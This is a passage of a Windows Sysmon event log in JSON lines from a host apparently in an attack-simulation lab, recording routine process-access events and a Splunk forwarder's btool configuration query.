11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.785\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001072080300}\r\nProcessId: 3996\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nParentProcessId: 3984\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.785","ProcessGuid":"{90617006-3FE5-5F2D-0000-001072080300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010BC070300}","ParentProcessId":"3984","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nSourceProcessId: 3984\r\nSourceThreadId: 3988\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","SourceProcessId":"3984","SourceThreadId":"3988","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RP